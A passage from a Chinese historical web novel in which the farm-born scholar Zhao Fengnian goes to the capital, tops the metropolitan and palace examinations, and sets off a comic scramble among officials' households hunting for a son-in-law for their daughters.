赵小云哈哈大笑,“对,你说的没错!我是女子也能!就是这世间的对女子的限制太多了,一不留神就被人骂‘抛头露面’啦、‘不守女德’啦,有时候我真希望能有这样一个地方,人们只会因为自身能力差被骂,而不是因为你是女子就否认你做的一切!” “会有的。” 两人沉默了片刻。 “对了,前些日子我才知道,富大伯想让赵有志跟着你,不过金花伯娘跟大爷爷他们都没同意,你留意一下这事,万一富大伯这回找你提这事,答应还是不答应,总归你心里也好有个准备。” 赵丰年还真不知道赵来富动过这样的心思,虽让他觉得赵有志是不可能同意,不过还是领了赵小云的情。 “我记着了,会留神的。” 赵家的这次宴席排场很大,不仅周围各个村子都来了人,就连县太爷都出现了,而顾子升也特意从府城赶了过来,本来傅青云也提过要来,却被赵丰年拦住了,一来一往舟车劳顿,傅青云毕竟年纪大了,没必要这样折腾。 赵家村还有记得顾子升的。 “哎呀,是黑脸县令呢!” “啥县令的,人家如今可是府城的大官!” “这都当了大官了,也不在日头底下晒着的,咋还这么黑呢?” 宴席结束后,赵丰年一家在村里住了几日,就准备回府城了。 临走前,王三娘找到了巧娘,提了大胖的婚事。 “这孩子犟得跟头牛似的,这几日让他相看的可都是家境殷实,又勤快能干的姑娘,还有一个纺织厂做活的呢,他倒好,见都不肯见一面,可把我气的,本来我是想着给他成了亲,再让他去京城找你们,只是如今怕是不能够了,他婶娘,往后这小子我也是管不上了,他的婚事怕是还要你后头辛苦辛苦为他做主了。” 于是,回府城的路上,巧娘就跟大胖提了这事。 “婶娘,可快别提了,我现在就想去京城瞧瞧!” 一路上欢声笑语到了府城。 十一月的头上,赵家一家跟傅家一起去京城。 傅家的人是十月底到的怀江府,本来的计划是只有傅轻雪一人回去,经过巧娘一番话,加上孙女的哀求,傅老夫人这才改变了主意。 来接人的是傅青云的孙子,傅轻雪兄长傅时瑾,赵丰年在傅家见到人的时候,险些以为徐钰又回来了。 无他,这位傅公子常常严肃着一张脸,一本正经,跟徐钰简直一摸一样。 “时瑾如今在大理寺任左寺丞。” 这就难怪整天肃着脸了,赵丰年心想。 傅青云显然跟京城家里提过赵丰年的事,傅时瑾刚见到赵丰年,便拿出了见面礼物,一块玉坠。 “不是什么上好的玉,难得雕工不俗。” 傅青云便笑了,“说来,阿年叫我老师,也就是师父,而你是我孙子,按辈分来讲,时瑾呐,阿年得算你小叔了。” 赵丰年挑眉,没想到傅青云还有逗孙子的爱好,看着傅时瑾一脸龟裂的表情,赵丰年笑了笑。 “那是丰年失礼了,未曾想过给侄儿准备见面礼,下回一定补上。” 傅时瑾再也维持不住脸上的表情了。 傅青云乐得大笑。 路上,傅青云告诉赵丰年,傅时瑾小时候原没如今这样天天冷着脸。 “也是我跟他爹的错,他爹,你兄长自幼聪明伶俐,跟你一样,拥有过目不忘之能,虽有些一根筋,到底读书科举之路十分顺畅,到了他读书那会儿,旁人自然少不得拿他跟他父亲甚至同我做比,稍有差错便被人指摘有堕乃父之风,渐渐他就习惯摆上这幅样子了。” “原来如此,只是我看傅大人端正肃穆,一身正气,确实像是大理寺的人,不瞒老师,起初我还以为见到了徐钰徐大人。” 傅青云便笑了,“你还当真说对了,徐钰曾在大理寺任职过,他这脸这性子,可不就是跟徐钰学的!不过,不必叫‘傅大人’这样生分,你是当叔叔的,只管叫他名字就行。” 赵丰年哭笑不得,傅青云还真是恶趣味。 例行每日的功课后,赵丰年便从傅青云马车出来了。 傅时瑾在马上看了他一眼,立马又转过头正视前方,任谁见了都要夸一句君子端方。 赵丰年笑了笑,回到了自家的马车。 “阿年,你可算回来了,那位傅大人气势可真足,他一朝我们这边看,我缰绳都不知道往哪里搁了。” 赵来贺一个人赶着拉行李的马车,闻言就笑他,“出息!论资排辈,他还是咱们阿年的侄子呢,也算你的侄子了!” “啊?”赵大胖还是头一回听到这个说法,当即就愣了,转头寻求赵丰年的肯定。 赵丰年就笑了,“爹你别误导胖哥,别听我爹的,说是这样说,可不能真这么论。” “那也差不多了,嘿嘿,你这样一说,我再看他还真没啥了哈哈哈!” 赵丰年笑着摇摇头。 另一头傅时瑾听到了后面传来的笑 声,驱马绕到妹妹的马车旁。 “雪儿,这赵丰年一直这样?怎么他在爷爷那边,爷爷也笑的开心,他回了赵家,那边也笑。” 傅轻雪正犹豫着,傅老夫人却笑骂了一句,“亏你还是当哥哥的,你妹妹一个女孩子,如何知道外男的事?你这不是为难她么?” 傅时瑾连忙道歉,“是我的不是,冒犯了妹妹,等回到京城,一定给妹妹好好赔礼!” 傅老夫人调侃完孙子,便笑着拍拍孙女的手,“你哥哥这人啊,不禁逗!” 傅轻雪轻轻笑了笑,望了眼赵家的马车,又收回了目光。 “无聊了罢?等一会儿休整,你便去找青青她们,你们女孩子之间有自己的悄悄话,我一个老人家可不打搅你们。” “祖母——” 一路上走走停停,到了十二月初,一行人终于到了京城。 赵来贺巧娘本打算去住客栈,却被傅老夫人拦住了。 “阿年是老头子正经的弟子,都说一日为师,终生为父,那就是一家人了,哪有让你们去住客栈的道理,索性我们家虽不是什么大户人家,好在房屋还是有的多的,只管跟我们一起回去,只等阿年过了会试殿试,倘若留作了京官,后面就再买下一座宅子也不迟!” 赵来贺巧娘还在犹豫,傅老夫人放出了杀手锏,“阿年还要会试,住在家里,这些日子也好静下心来读书,我们家老大的藏书还是很丰富的。” 这下赵丰年也没推辞了。 傅府在京城不算最繁华的地,但是绝对算是最清净,以及离皇城最近的地方。 这一带住的几乎都是三四品以上的大臣,赵大胖看到门口的两座石狮子,都惊呆了。 “我还以为这东西只有衙门门口有呢!” 不过他以后会知道,有些衙门门口都不一定会有。 傅家已经得到老爷子弟子一家借住的消息,是以,赵丰年一家刚进了傅府,傅家夫人就安排好了。 傅青云有一子一女,女儿已经嫁人,傅老夫人在儿媳妇进门后就放了权,如今傅家是儿媳妇管家,傅青云儿子在工部,今日在官署还没回来,傅夫人笑着接待了赵家人,没有多言便让管家带了他们去安排好的住处了。 “你们一路舟车劳顿,待梳洗休息后,再为你们接风洗尘。” 赵家一行人自是不无不可。 傅夫人安排确实周到,知道他们恐不习惯丫鬟贴身伺候,只安排了人在院子里干活,有事只需吩咐一声,到了晚上去前厅吃饭的时候,巧娘不禁跟赵青青感慨。 “这大户人家就是不一样,连下人都是有理有节的,就是她们总叫我赵夫人,怪不太习惯的。” “那婶娘你可要尽快习惯了,往后阿年请了一堆丫鬟来伺候你,你可不能抢着干活才是。” 巧娘也笑,“那我怕是真的要跟她们一起干活的。” 傅家吃饭有讲究,分了男桌跟女桌,一个在前厅,一个在后厅,傅夫人话说的好听。 “他们男的在一块定是要吃酒的,咱们不跟他们一块儿,省得酒气熏天,倒是闹的我们都不清净,我们只自己在一处亲近才好。” 巧娘暗中学习。 “赵夫人是有二子二女?” 巧娘笑,“我可没有那样的好福气,先前夫人看到的高高壮壮的乃是我夫君兄长家的孩子,我们侄子,青青跟翠翠姐妹是我母家那边的远房表亲,唤我一句姨母的。” 这也是赵丰年一开始就给青青翠翠安排好的身份,为了掩人耳目,不被有心人抓住把柄,如今赵青青赵翠翠是父母双亡投奔姨母的赵家表亲,赵丰年表姐,傅老夫人知道后也赞同不已,甚至认了两姐妹为干孙女,直把赵青青赵翠翠感动得眼泪汪汪。 听闻两姐妹父母双亡,傅夫人顿时心生同情,再听婆婆说已经认了两姐妹当干孙女,连忙点头,“如此也好,往后雪儿也有能作伴的姐妹了,赵夫人不知,我就一子一女,他们兄妹俩年龄差得有些大,雪儿这孩子是从小没什么玩伴。” 一家人在傅府过了年。 年后,赵丰年竟见到了太子殿下。 “你便是哪个发明了堆肥、丰收油,改良纺织机的怀江府赵丰年?” 赵丰年行李,“回太子殿下,学生正是。” “下个月便是会试了,孤期待你走到殿试那天。” 太子是来见傅青云这位原太子太傅的,两人只是匆匆一面,却彼此都留下了深刻的印象。 赵丰年想,虽看不出顾子升口中的太子殿下何等仁慈,但是确实举止投足之间一片皇家贵胄的气势。 不过,赵丰年眼下可没功夫思考这些,因为会试很快就到了。 第54章 第54章最佳人选(捉虫) 会试当天,赵来贺起了个大早,跟大胖一起送赵丰年去贡院。 本以为他们来得够早,不想等到的时候,贡院门口已然有不少人了。 出了会试的学子,甚至还有不少看热闹的小贩,或挑着蜡烛,或挑着干粮叫卖,赚的就是那些忘带齐全的学子们。 二月份的京城还冷着,加之要在里面待上九天,贡院也会发蜡烛跟炭火,只是品质如何,就仁者见仁智者见智了,次等的蜡烛跟碳火燃起来烟大,熏了眼睛难免受影到响,因此家境好的学子大多都会自行准备。 傅府也给赵丰年准备了上好的蜡烛跟炭火。 时辰还早,赵丰年就在车厢里闭目养神,却不想听到外头提到了自己的名字。 “不知那怀江府赵丰年可也来了。” “月前我听闻他在岚州乡试榜上有名,且乃头名解元,想必今次不会错过。” “竟然又是头名,那这回会试头名岂非也是他囊中之物了?” “这可未必,你把江南诸君还有京城学子放在哪里了,依我说,那岚州自从三十年前出了一位傅青云傅大儒,还没出现过其他人物,他能在岚州如鱼得水,那是岚州文风稍逊,到了这人杰地灵的京城怕是惊不起什么水花的。” “可他毕竟师从傅大儒,不说会元,我猜此次会试前三应该有他一席之地。” “这些日子都说傅大儒不过念及同乡之谊才收下了他,是否果有真才实学,又或沽名钓誉之辈还未可知,不过,这头名,应该就在我们江南的苏景章跟京城顾子昂之间了,至于青州齐晟,虽也有才名,却到底不如前两位。” 马车里,听了个全的赵来贺看了眼依旧闭目养神的儿子,不禁有些担心。 察觉到赵来贺的目光,赵丰年睁开眼睛,“安心吧,爹,我没受到影响,世人对自己不了解的东西向来会妄自猜测,只是几句流言蜚语罢,还动摇不了我的本心。” 赵来贺摸摸他的头,“爹相信你一定可以的,只是也不要把自己逼得太厉害,能走到这里已经很了不起了!爹虽然见识少,却知道科举之难。” 赵丰年双目含笑,“我知道了,爹。” “时辰差不多了,阿年,准备进考场了。”外头,大胖喊了一句。 赵来贺跟大胖眼看着赵丰年进了考场,又等了一炷香的时辰,这才回去,只等九天后来接人。 九天后,赵丰年出了贡院,接下来,就等着会试放榜了。 他自觉已经尽力了,最后一道题考的是农事,对与所有农家出生的学子而言,是个机遇,也是他的机遇。 殊不知,考院里,阅卷的考官正为了最后一道农事题发愁。 “农家寒门学子走到会试已然不易,圣上特意命诸位大人出一道农事题,便是鼓励扶持寒门,我等自当以此为重。” “此言差矣,虽农为国之根本,但治理国家又岂是单单懂一个农事就可以的?我手上这份卷子,虽于农事上有所欠缺,但是其他堪称完美,所谓才华横溢,文采斐然,就是如此了。” “治理国家也非文采出 众方可,我这篇不论在文采,抑或是农事上,皆为上上之品,更难得的是时事这篇,精彩绝伦,该为头名。” “只是那篇词藻略显平淡,细看之下,少年意气过重,还是看看我这份,于时事上的看法跟如今朝廷诸位学士别无二致,农事篇也与如今朝廷推行的政令不谋而合。” 几位副考官争执不已,最后主考官开口了。 “我等蒙受皇恩,为朝廷选举人才,实不该倾注个人喜好,这第一份考卷虽词藻华丽,文采出众,只是陛下既钦点了农事一篇,就不能有缺,此篇不能为头名,第三份考卷,确实对时事分析条理清楚,引经据典,其他篇幅也尚精彩,但诸君可曾想过,陛下倘若想要朝廷上下都是一个声音,为何要今年要加上时事跟农事两篇?尤其是时事中重提北方之事?至于这第二份,” 主考官笑了笑,“此子应当写了一手好字。” 为了避免从字上认出学子,从中行舞弊之事,会试的考卷都是由专人誊抄、糊名,再送到这里阅卷,而如今主考官竟说了这么一句话,众人皆是一头雾水。 “他文章行云流水,字里行间书生意气,少年风流,时事篇有自己的主见,细想之下令人耳目一新,农事篇分析深入,切实可行,无一缺漏,虽没有第一份的词藻华丽,也无第三份的引经据典,却是真正的上上之作。诸位可要知道,这少年意气并非坏事,咱们的太子殿下,如今可也是正值意气风发之时啊。” 众人你看看我我看看你,皆是擦了一把汗。 “大人所言有理,那便定这第二份为会元,前三份立即封卷跟名单一起送至宫中吧。” 若是皇帝看过,御笔点过了,那会试的排名榜就出来了。 “是极。” 放榜当天,赵丰年一大早上就被大胖从床上拉了起来,演绎了一场什么叫做“皇帝不急太监急”。 “阿年你怎么就不知道着急呢!贡院外头的酒楼客栈都坐满了人了!” “这么早你就去了一趟贡院又回来了?” “可不是,听说今天人很多,我跟四叔一早就去了,四叔留在了那边,咱们特意花了大价钱定了一个包间,你都不知道,那酒楼今天发大财了,到处都是读书人,要不怎么说是京城的老板掌柜呢,人家那才叫会做生意,大早上的在那里发状元糕呢,我给你带了一个回来,一会儿你吃了,我们再去跟四叔汇合!” 赵丰年哭笑不得,只是用早食的时候,才发现傅府今日也给他准备了状元糕,甚至还有小粽子。 林管家笑咪咪解释,“虽是相信赵少爷一定能金榜题名,只是京城就时兴这个,咱们也讨个好意头不是?” “状元糕我知道了,但是粽子是个什么意思?”大胖不解。 “取‘中’之意。” 果然是好意头。 赵丰年笑着谢过,用了一块傅府的状元糕,一块大胖带回来的状元糕,又剥了一个小粽子吃下才算结束,主打一个“雨露均沾”。 赵来贺定的酒楼位置很好,二楼的包厢,刚好在贡院对面,打开包厢的窗户可以看到贡院的告示牌。 “得亏咱们来的早,后面来的人想要这边包间都没有了,刚才还有几个穿缎子的公子哥问我愿不愿转给他们,这要是往常,别说人家出十两银子,就是一两银子,我都直接立马走人,只是今天可不同。”赵来贺笑着跟儿子邀功。 赵丰年也很给面子,“爹如今是越来越有举人爹的气势了。” “哈哈哈,林管家也是这样说的!” 大胖探出窗户左右看了看,又回到屋里,“待会儿放榜了,阿年你跟四叔先别下去,我下去看,我听小傅大人说了,今日会有一大堆人守在这里榜下捉婿呢,可不能被他们逮住了!等我看完榜,就上来跟你们讲,然后咱们再悄悄从后门出去!” “胖哥,太夸张了。”似乎笃定他必榜上有名一般。 说是这么说,但是几人还是决定按照大胖的计划行事。 “放榜啦——放榜啦——” 外面一阵铜锣声伴着高喊,大胖猛地站起来,朝外头看了一眼,果然见贡院门大开,几个官差正抬着榜往外走,当即就是一个回身,拔腿就往外跑。 赵丰年听着外头人群的声音,本来还平静的心竟然也开始紧张起来。 一定是这种氛围闹的,嗯,一定是。 赵来贺也急得不行,扶着窗户围栏努力往外瞧,简直像是要直接跳下去似的。 “咋就这么多人呢?不是说中举很难么,瞧着来考试的还不少呢!” 这边,维持秩序的官差将激动的人群围在榜外,待另几人将榜贴上,官差撤到两旁,大胖刚挤到人群前面,就被推着往前,险些摔了一跤。 “快看名字快看名字!” “少爷,已在看了!” “从下往上找!” 这是带着仆从一起来的。 “啊啊啊,我中了我中了!” “哎,我怎么没中?我怎么会没中!” “又白跑一年,明年起早吧” 耳边传来各种各样,或欢呼雀跃或激动或悲痛欲绝的声音,大胖只觉得头晕眼花,连榜上的字都看不清了,这时—— “会试头名竟不是江南府苏景章,这赵丰年是谁?怎么他是会元?” “怀江府赵丰年,嚯,还真是他成了头名!这下买其他几位的可要输惨了。” 大胖顿时耳目清明,直接抬头往最高的那个名字一看,不是赵丰年是谁! “哈哈哈哈,中了中了!” 周围人看了,有羡慕有好奇。 “敢问兄台怎么称呼?中了第几?” “第一,是第一哈哈哈哈!” 众人纷纷朝这边看了过来。 “你竟然就是赵丰年?” “这,这,这实在是人不可貌相?” “会元,会元在这里啊!快来人,抓住会元赵丰年——” 等被几个家丁服饰的人围住的时候,大胖这才反应过来。 “赵学子,我家老爷十分欣赏赵学子的文采,还望您跟我们走一趟。” “呸,我家先来的,要走也是跟我们走,我们老爷可是礼部侍郎!” 大胖惊悚,连忙要挤开人群逃跑。 后面几家大臣的家丁连忙追上去。 “救命,救命啊,你们找错人了,我不是赵会元呐——” “会元就别谦虚啦!” 酒楼这边,赵来贺第一个发现对面不对劲,赵丰年上前一看,只见一群人正追着大胖跑。 “这,咋还追大胖呢?这榜下捉婿,连看一眼的人都要被抓回去的吗?”赵来贺惊讶不已,一副“还好我没下去看”的表情。 赵丰年好笑不已,“爹,别瞎想,咱们赶紧下去。” 再不下去,怕大胖真要被人家抓回去做女婿了。 赵丰年下去的不巧,大胖正往这边跑,见他出来,连忙求救,“阿年,阿年救我——” “阿年?这么说,那边的才是赵丰年赵会元了?” 赵丰年暗道不好,却为时已晚,那边已经有反应过来的人朝着他冲过来了。 “阿年,快快快,快跑!” 赵丰年也没耽误,拔腿就跑,正在这时,一股力量从胳膊上传来,赵丰年一个错眼,竟然上了马。 “小傅大人?” “还敢出来看榜?” 赵丰年:“” 这一定是在报之前辈分的仇吧? 见有人骑马将人带走了,后面追不上的人面面相觑。 “那人哪家的?这么不讲武德,骑着马明抢啊!” “我瞧着像是傅家的,大理寺寺丞傅时瑾。” “什么?傅家为何跟我们争?” “傅公子家中还有一妹妹,莫不是,也来一出榜下捉许,带回去做傅家女婿的?” “那就说得通了,只是这也太不要脸了,我们家差一点就追上了!” 大胖跟赵来贺你看看我,我看看你。 “四叔,小傅大人真的要将妹妹嫁给阿年?” “不可不可,傅家对咱们恩重如山,宝儿怎么能忘恩负义对人家姑娘动心思呢!” 赵来贺震惊不已,一时间都忘记说好了来京城后都改口叫赵丰年“阿年”了。 大胖不理解,只下意识点点头。 而另一头的傅府。 得知今日会试放榜,傅老夫人跟傅夫人怕巧娘焦虑,便将人请 了过来。 “咱们一处说说话,如此以来,也免得你们自个儿在屋里胡思乱想。” 傅老夫人笑着宽慰巧娘,巧娘只笑了笑,青青见状便开口了,“还是老夫人跟夫人想的周到,我们一早正急着呢,可巧您就派人来请了。” “珍娘也叫人去盯着了,只等有消息了,立马回来告诉我们。” 珍娘便是傅夫人的闺名了。 “有劳夫人了。” 傅夫人笑,“太客气了,唤我一声珍娘便是了,近些日子雪儿跟青青姐妹学做了几样新花样,我特意让她们带过来给咱们一起瞧瞧,雪儿?” “是,母亲。” “青青翠翠是手巧的。”傅老夫人夸了一句。 这时,丫鬟传话说傅府去看榜的下人回来了。 “快,让他院子里回话!”傅老夫人连忙吩咐。 不多时,那小斯立在了院中。 “回老夫人、夫人、赵夫人的话,赵公子榜上有名,得头名会元!” “哎呦呦,中啦!巧娘妹妹,恭喜啦!”傅夫人说完,又开口,“府上有喜事,大家都赏一个月的月钱!” 巧娘忙想说什么,却被傅老夫人拦下了,“阿年是我们老爷的弟子,跟家里人一样,不过一点赏银,也是为了大家都沾沾喜气,对了,老太爷那边传话去了吗?” 小厮忙笑道,“老太爷已经知道了,还让人去衙门里告诉了老爷,说晚上家里好好庆祝一番,让早些下衙。” “只去了工部?可也去大理寺了?”傅夫人也问了一句,却只见小厮面露难色。 “做什么吞吞吐吐?大爷那边没派人去传话不成?” 小厮连忙摇头,“老夫人,夫人有所不知,贡院那边都说大爷榜下捉婿,把赵大爷捉走了呢!许是甩掉那些人,绕了路,还未见大爷跟赵二爷回来。” 这话一出,傅老夫人,傅夫人,还有巧娘都震惊了。 偏偏赵翠翠此时问赵青青,“姐姐,什么叫,榜下捉婿?” “这个,嗯,改天姐姐再解释给你听好不好?” “哦,也行。” 赵青青好不容易松了一口气,却听赵翠翠又问了,“雪儿脸好红,发热了?” 沉默,还在蔓延。 傅时瑾带着赵丰年一路疾行,终于甩开了追着的人,等到了傅府,门房牵走马,赵丰年这才又空闲问他怎么今日不在大理寺衙门。 “今日放榜,很多官员都去榜下捉婿,或凑热闹,衙门里今日没什么人在。”‘ 赵丰年心想,这还挺人性化的。 “想着爷爷让我有空去那边看一眼,就过去了。” 难怪他这么巧就碰到了,赵丰年长作一揖,“今日感谢小傅大人搭救了。” 赵丰年也算是发现了,傅时瑾就是个嘴硬心软,面冷心热的人,傅老师知道他上衙,如何会让他去瞧,结合他告诉大胖小心那些捉人的事,怕是知道他们今天去看,特意来帮他解围的。 “谢礼?” 赵丰年挑眉,“不知大人想要何谢礼?” “辈分,各论个的。” 见傅时瑾当真一脸认真等着自己回答,全然不似在开玩笑,赵丰年这下真觉得傅时瑾是个有意思的人了。 “成,各论各的,你也不用叫我叔叔,我也不会将你当侄儿。” 傅时瑾张张嘴,到底没说什么,闷头就往里走了。 赵丰年对最后还要逗一下人完全没有负罪感,只笑着让傅府家丁带自己去见傅青云了。 抛开期间发生的一些小插曲,傅家这个替赵丰年庆祝的酒席还是其乐融融的。 晚上,巧娘跟赵来贺说起了白日里的事。 “我刚听到还没反应过来,等看到傅老夫人跟傅夫人,这才想到,这‘婿’可不就是说给人家姑娘捉的嘛,顿时就觉得对不住人家了。” 赵来贺无比赞同,“可不是,人家帮了我们这么多忙,可不能动这样的心思,要我说,等阿年参加完殿试,要是还在京城,咱们就赶紧搬出去,省得连累了人家姑娘的名声。” “是这个理!也别等殿试结束,左右也没几日的功夫了,不如你这两天先去看起来,等回头买还是不买,咱们也都有个底。” “成,听你的!” 而傅夫人也在跟夫君说起这事。 傅大人在工部任侍郎,在他看来,父亲收的这个弟子十分不错,下午那会儿才听说赵丰年中了会元,顿时就跟周围同僚炫耀起来,不想还出了这么一档子事。 “时瑾这孩子,亏还在大理寺做事呢,行事这般不着调,下回我定要好好说他几句。” 傅夫人瞪大眼睛,“不是,你就留意到了这个?” 傅大人想了想,“哦哦,还有阿年,这孩子真是没话说,才华出众,为人处事也落落大方,又文质彬彬,这回中了会元,殿试必然跌不出前三,还是爹有眼光!” 傅夫人无语了,“我是说你闺女啊!” “啊?雪儿?这里头有她什么事?”傅大人很懵。 “你啊你,说是在朝为官,这女儿的大事也不知道关心一二。” 傅夫人无奈,“你就没想过,雪儿如今也有十五岁了,是时候操心终生大事了,时瑾之所以拖到现在,就是因为我们前头没有早些为孩子相看踅摸,兜兜转转去年才定下来,如今时瑾马上就要成亲了,我也不用在操心他的事了,可这回说怎么也不能耽误了雪儿!” “原来你说此事。”傅大人恍然大悟,“那你跟娘留意一二,我在朝廷里也会留意一番,看看有哪几家适龄的孩子,不过,家世且不论,还是要看人品。” 傅夫人彻底服气了,“你眼下就有适龄有合适的,还是你亲口夸过的,人家说你儿子替你‘榜下捉婿’呢,你就没一点想法?” 傅大人恍然大悟,“你看中了阿年?” “那老爷觉得如何?” 傅夫人本来还真没想到这里,只当赵丰年是公爹的亲传弟子,赵家一家也是良善知恩图报的人家,各个都有理有节的,相处起来还算舒服。 可今天那小厮说完,她忽然想到,对啊,怎么就不能是真的呢? 赵家虽出生寒门农家,却家风正派,教出来的几个孩子都不错,赵丰年本身是那种沉稳可靠的性格,学识出众,上孝顺父母,下爱护兄弟姐妹,一言一行都透露着君子端方,举手投足之间尽显从容,关键是,他长相俊美,如今又有前途! 这样人家,闺女嫁过去她才叫放心。 傅大人听夫人这样一说,仔细想了想赵丰年的事,也忽然意识到,这确实是一个最佳人选。 “既然老爷也这样想,那我改天探探赵家的口风!” 赵丰年还不知道这事,傅青云正为他分析介绍朝廷各部的官员分布及派系主张。 而赵来贺则出门去找牙人了解京城房价了。 很快就到了殿试这天。 在殿外听宣的时候,赵丰年一直觉得有股视线落在自己身上,转头望过去,是一个穿着精致的学子,他想了想,并没有见过此人的印象,遂转头,跟另一边站着的人碰上了视线,便笑着点点头。 那人是青州书院的齐晟,此前他去青州书院的时候认识的一个师兄,用赵丰年的话来讲,是会试夺冠的热门选手。 齐晟此次排名第四,算是不错的成绩了,第二名是京城顾子昂,第三名则是江南的才子苏景章。 说起这个顾子昂,赵丰年总觉得指不定他跟顾子升是本家,只是这肤色又对不上。 “宣,今科学子觐见——” 赵丰年收回思绪,跟众人一起,踏上了通向金銮殿的台阶。 第55章 第55章殿试后 殿试后,赵丰年带着一家人出门转一转。 “自从来到京城后,你们担心耽误我考试,也少出来,如今考试都结束了,明日就能出结果,不如我们一家人趁此机会好好逛一逛京城。” 巧娘有些 心疼儿子,“你昨日才回来,今天该好好休息的。” “殿试一天就结束了,比起乡试会试来说,已经轻松多了。” 那怎么能一样,殿试可是要见皇帝的,巧娘心里想着,却没拂了儿子一片好心。 “那我索性瞧瞧买点什么送给傅家,虽然人家不缺这些,左右是我们的一番心意。” 青青也赞同,“婶娘说的没错,是该买一点礼物的。” “你听,又说漏嘴了不是,得喊‘姨母’!” 青青笑着揽住巧娘的胳膊,“好姨母,不生我的气了。” 自打傅夫人说看中了赵丰年当女婿后,傅大人便对赵丰年的事更上心了,知道殿试结果第二天就能递给礼部,便从工部溜达到了礼部,看看能不能得到什么消息。 只是他刚走到礼部这里,礼部侍郎见了人就“哼”了一声。 “王大人,你我素日无冤无仇的,这是为何啊?” 礼部侍郎王大人气道,“都说你傅玉书是老实人,却不想仗着傅大儒的名头早早就将人收入囊中!” 傅大人更加疑惑了。 “你还装傻呢,羞与尔多言!” 礼部侍郎摔着袖子就离开了。 还是其他人为傅大人解的惑。 “王大人这是恼羞成怒呢,王大人家中姑娘正值芳华,前些日子会试放榜,王大人本想榜下捉婿,结果被贵公子抢先一步,本就气闷不已,今日殿试榜单发到礼部,王大人一看状元的名字,可不是要更气了?傅大人,看来府上今年要有两桩喜事了,在此先恭喜傅大人了!” 傅大人从礼部走出来,不禁感到好笑,不过也算是知道结果,赵丰年被点为了状元! 可以跟夫人说说,最好是赶紧问问赵家那边的意思了。 洞房花烛夜,金榜题名时,这时候再来一个双喜临门岂不是更佳? 不过赵丰年是结结实实到了殿试第三天的清晨才知道自己中了状元。 众进士一清早到了宫中,行传胪大典。 殿前,从赵丰年开始,一直传唱到三甲,众人行过三拜九叩大礼,又有礼部的官员托着金榜出宫门张贴,赵丰年等学子跟着文武百官观过金榜,这才到了今日外面老百姓最爱看重头戏——打马游街。 “状元郎出来了,进士们出来游街了——” 今日,游街的两边酒楼商铺可是生意大好,上下都围满了人群。 傅家也提前订了两个包间,为的就是来看这出热闹。 男子一间,女眷一间,一听说仪仗队出来了,两边都直接站到了窗户边上。 赵青青本来想着人多,还有些不好意思,傅夫人却安抚了她。 “京城里的姑娘们就等着每年这一遭呢,好孩子,你且瞧着吧,一会儿那些花啊朵啊,手帕香包啊,就属那些平日里再矜持不过的姑娘们扔的多!” 赵青青便笑了,“那我做的怕是少了,早知多做几个,都给阿年扔下去。” 赵翠翠却从怀里又掏出了几条手帕,“不怕,多着呢,都给弟弟!” 傅夫人看到这一幕,心里却“突”了一下。 还是巧娘见她发呆,问了一句,她这才重新露出笑容,只是那笑容却没之前那般明显了。 而赵青青已经拉着傅轻雪一起朝外看了。 傅夫人看着俩孩子亲密无间,暗自叹了口气。 “果然很多姑娘家。” 道路两边倒是站了不少人,只是大家闺秀们基本都是在二楼的包间里,个个神情激动,双眼放光。 不多时,之间队伍缓缓朝这边走过来,隔壁大胖激动大喊,“阿年是状元!啊啊啊,四叔,你快看,阿年骑大马带大红花呢!他是状元!” 这一喊,顿时楼上楼下,还有对面不少人都朝这边看了过来,得知他们是状元郎的家人,一时又是羡慕又是好奇。 “话说,这状元郎这么俊美,怎么不是探花?就是这脸嫩。” “说是才十六岁,啧啧,瞧人家这本事!” “十六岁?那岂不是还没定人家?” 周围的人听到了,更加热情地朝赵丰年扔手帕荷包了,鲜花也是不要钱似的砸向他。 赵丰年眼疾手快接住一朵险些砸到眼睛的花,只闻上方传来一个尖叫,他下意识抬头望过去,却没看到人,这时才看到家里人就在旁边的窗户边上,赵翠翠捧着一大捧帕子荷包,赵青青拿着一个正想要扔下来。 赵丰年笑了,当即将手伸了出去。 赵青青莞尔一笑,朝他扔了下来,正好被赵丰年接接住。 人群顿时叫好声一片,而更多的是姑娘们的心碎声。 “那是谁?!为什么状元郎要接她的荷包!” “凭什么,论姿色我不比她差!” “啊啊啊,状元郎接住了我的花——” “得了吧,那是快砸到人状元的眼睛了。” 赵丰年举着荷包冲赵青青还有其他家人摇了摇,旋即收进了怀里,惹得众人又是一片哄笑。 这时,赵丰年对上了另个眼神,他微愣,不知道傅家今天也来人了,便冲她也笑了笑。 傅轻雪红着脸收回目光。 将这一切收入眼底的傅夫人心中无比难过。 赵丰年明显是跟青青有情的,说是孤女投靠姨母的,只是如何投靠,这表姑娘跟表哥表弟成亲还少么,也就差个两岁,朝夕相处的,再正常不过了。 傅夫人如今只庆幸还没有跟赵家提过这事,至于少女心事,等赵家搬走,再过几年,也就没什么大不了的了。 就是可惜了这么好的一个女婿人选了,也是她家无福了。 游街后,赵丰年跟一众进士还要去参加琼林宴,是以,赵傅两家在酒楼用了些吃食,便先回去了。 对于赵家来说,殿试后最重要的事就是赵丰年被授了翰林院修撰,要留在京城了。 “一般而言,状元会被授予翰林院修撰,榜眼探花是翰林院编修,其他二甲头上会被分派到个个部去做事,不过剩下的大多数会再朝考后或留或被外派做官。”赵丰年跟大胖赵翠翠解释了一番。 “那弟弟最厉害!” 赵丰年就笑了,“步入官场只是第一步,起点高的人也不一定一直能走在前面,而后面的人也会有后来者居上,我只是暂时留在京城,说不定,某一天我就要外放做官了。” 比起在朝廷上,赵丰年其实更想外放到地方,从父母官做起。 赵翠翠若有所思。 “爹,听娘说你前些日子去看了宅子?” 赵来贺点头,“看了几家,这京城的房子就是贵!” “那这样,明天我们一起去瞧瞧,我琢磨着,咱们先把宅子的事处理好了,然后你跟爹再回去,我们几个留在这里等你们安排好了家里的事回来。” 朝廷给了外地的进士探亲假,好让众人衣锦还乡,赵丰年没打算回去,但是赵来贺巧娘想回去一趟,赵丰年也理解,他中了状元,村里也好,县志也罢,都要记录他的生平,这是族谱开单开好几页的/祖坟冒青烟的大喜事,他爹娘到底是普通人,便是在意了几分实属再正常不过了。 赵来巧娘都没意见。 第二日,赵丰年就跟赵来 贺大胖一起出了门找房子了。 牙行的人一下就认出了新科状元,立马就热情了起来,再听他们说想要距离翰林院那边近一处的地方,当即就提出了建议。 “我看赵大人这般年轻,往后升官是迟早的事,靠翰林院的宅子有是有的,只是价格高,长远来看,不如靠近朝廷六部那边,虽然宅子簇拥了些,不似靠翰林院那边清净,但是上官署方便呐,就是到翰林院也只用多绕一炷香的功夫。” 这番话说得赵来贺大胖均是心动不已,赵丰年反应平平,只说先带他们去看看再说。 “得嘞,那咱门都瞧瞧,不知赵大人想先看哪边的?” “靠近翰林院那边看看吧。” 